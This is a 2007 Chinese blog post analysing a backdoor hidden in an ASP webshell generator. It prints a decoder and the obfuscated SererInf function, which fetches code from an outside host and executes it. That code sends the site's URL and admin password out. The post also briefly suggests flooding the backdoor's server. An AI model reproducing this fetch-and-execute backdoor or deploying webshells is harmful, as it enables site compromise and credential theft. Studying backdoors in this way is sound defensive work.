|
十三WEBSHELL终结版后门的发现之旅 樱木花盗 发表于 2007-12-20 9:34:59 |
作者:TheLostMind来源:绝色笔记 自从上次从网上找了个WebShell管理网站,后来发现有后门, 被人挂马了,数据库被破坏了,至今还没修复……所以对别人的WebShell格外小心。 网上找了个十三WEBSHELL终结版生成器, 下面我们来生成一个ASP WebShell 生成后的WebShell是加密的 这个解密直接用工具了,就不详述,解密后代码如图132.JPG 看看代码, 还是加密的 从代码中很容易可以看到他的解密函数是SinfoEn 那么我们就来解密出来,解密的代码已经有人写出来了。 下面是冰点极限论坛上贴出来的解密代码:
===============================decode.asp======================================
<% Pos=2 '解密固定值 Function Fun(ShiSanObjstr) ShiSanObjstr=Replace(ShiSanObjstr,"|","""") For ShiSanI=1 To Len(ShiSanObjstr) If Mid(ShiSanObjstr,ShiSanI,1)<>"!" Then ShiSanNewStr=Mid(ShiSanObjstr,ShiSanI,1)&ShiSanNewStr Else ShiSanNewStr=vbCrLf&ShiSanNewStr End If Next Fun = ShiSanNewStr End Function
Function SinfoEn(ObjStr,ObjPos) ObjStr=Replace(ObjStr,"~","""") NewStr=Split(ObjStr,"`") For i=0 To UBound(NewStr) SinfoEn=SinfoEn&EnCode(NewStr(i),ObjPos)&vbCrLf Next SinfoEn=Left(SinfoEn,Len(SinfoEn)-2) End Function
Function EnCode(ObjStr,ObjPos) Dim NewStr,TmpStr,i,LenStr LenStr=Len(ObjStr) For i=0 To Int(LenStr/ObjPos)-1 TmpStr=Mid(ObjStr,i*ObjPos+1,ObjPos)&TmpStr Next EnCode=TmpStr&Right(ObjStr,LenStr Mod ObjPos) End Function data=request.form("x") if data="" then data="nothing" response.write "<form method='post'>" response.write "<textarea name='x' cols='80' rows='30'>" response.write Server.HTMLEncode(SinfoEn(data,Pos)) response.write "</textarea>" response.write "<input type='submit' name='Submit1' value=' 提交 '>" response.write "<input type='reset' name='Submit32' value=' 重置 '>" response.write "</form>" %>
===============================end===========================================
现在就直接解密,解密后的代码如133.jpg 按照普通的搜索后门的方法,当然是搜索如HTTP之类的代码,我搜索了一遍,没有发现可疑的代码。 搜索关键子:UserPass 看看它的密码验证代码:
==================================================================================== if session("web2a2dmin")<>UserPass then if request.form("pass")<>"" then if Serinf(request.form("pass"),pn)=UserPass then session("web2a2dmin")=UserPass response.redirect url else rrs"非法登录" end if else si="<center><div style='width:500px;border:1px solid #222;padding:22px;margin:100px;'><a href='"&SiteURL&"' target='_blank'>"&mname&"</a><hr><form action='"&url&"' method='post'>密码:<input name='pass' type='password' size='22'> <input type='submit' value='登录'></form><hr>"&Copyright&"</div> </center>" RRS sI end if response.end =======================================================================================
密码用Serinf函数加密然后进行验证,代码正常,没有可疑的迹象 我们在搜索Serinf,看到如下代码:
======================================================================================== if session("serinfo")=false then SererInf "1ll4":session("serinfo")=true else if action="getTerminalInfo" then SererInf "1ll4" end if end if ========================================================================================
看到这里就觉得有点奇怪了,搜索session("serinfo"),可以发现session("serinfo") 在前面是没有定义的,那肯定是false了,那么我们就来看看SererInf()这个函数,搜索SererInf,找到如下代码:
============================================================================================ function SererInf(inf) on error resume next Set theserver=Server.createobject(Sot(13,0)) theserver.open "GET",right(sot(13,0),4)&chr(60-pos)&"/"&chr(pos+45)&inf&chr(46)&mid(sot(4,0),2,1)&chr(109+pos)&right(Sot(6,0),1)&chr(47)&right(sot(1,0),1),false theserver.send() if theserver.readystate<>4 then exit function end if execute(theserver.responseText) set theserver=nothing if err.number<>0 then err.Clear end if end function ======================================================================================
看到这里就很明白了,这就是后门,那么我们的后门到底是怎么样的呢?还是把下面这句解密开来看看 = ====================================================================================== right(sot(13,0),4)&chr(60-pos)&"/"&chr(pos+45)&inf&chr(46)&mid(sot(4,0),2,1)&chr(109+pos)&right(Sot(6,0),1)&chr(47)&right(sot(1,0),1) ==========================================================================================
继续搜索sot,发现sot数组的值如下:
======================================================================================== Sot(13,0) = "Microsoft.XMLHTTP" Sot(4,0) = "Scripting.Dictionary" Sot(6,0) = "Adodb.Stream" Sot(1,0) = "wscript.shell" ===========================================================================================
继续上查,可以看到pos=2,那么我们现在就可以把上面的这段用函数加密了的代码解密出来了,很简单。 right(sot(13,0),4)=http chr(60-pos)=: chr(pos+45)=/ chr(46)=. mid(sot(4,0),2,1)=c chr(109+pos)=o right(Sot(6,0),1)=m chr(47)=/ right(sot(1,0),1)=l
隐藏得的确很巧妙! 解密的代码如下:
========================================================================================== http://1ll4.com/l =========================================================================================
看到这里是不是觉得很奇怪?怎么后门代码不完整呢? 不急,我们再来打开http://1ll4.com/l这个网址看个究竟。 打开http://1ll4.com/l页面,查看源文件,代码如下:
========================================================================================== Serurl="http://1ll4.com/1/?jpg=8&u="&Serveru&"&p="&UserPass Set theserver=Server.createobject(Sot(13,0)) theserver.open "GET",Serurl,false theserver.send() =========================================================================================
现在看到这里就完整了,参数Serveru=request.servervariables(""http_host"")&url,即网站的完整路径,参数UserPass当然就是密码了,虽然是加密的,不过可以解密! 到这里,WebShell里面的后门就完全显露出来了,接下来的事情当然是去后门! 我这里修改了这个WebShell,除去了后门,增加了部分功能,改善了部分功能,不知道放到哪里下载,大家可以到我的BLOG上看:http://hi.baidu.com/lostmind 从代码中还可以看到,这个提交没有COOKIE验证,那么我们就可以直接提交代码了,可以直接找个HTTP破解器,把地址和参数写进去,然后DOS它一把!当然大家不要D它了,写个WebShell也不容易,原谅他吧!同时也提醒朋友们都留心,别人的东西还是仔细看看。 |
|
发表评论:
|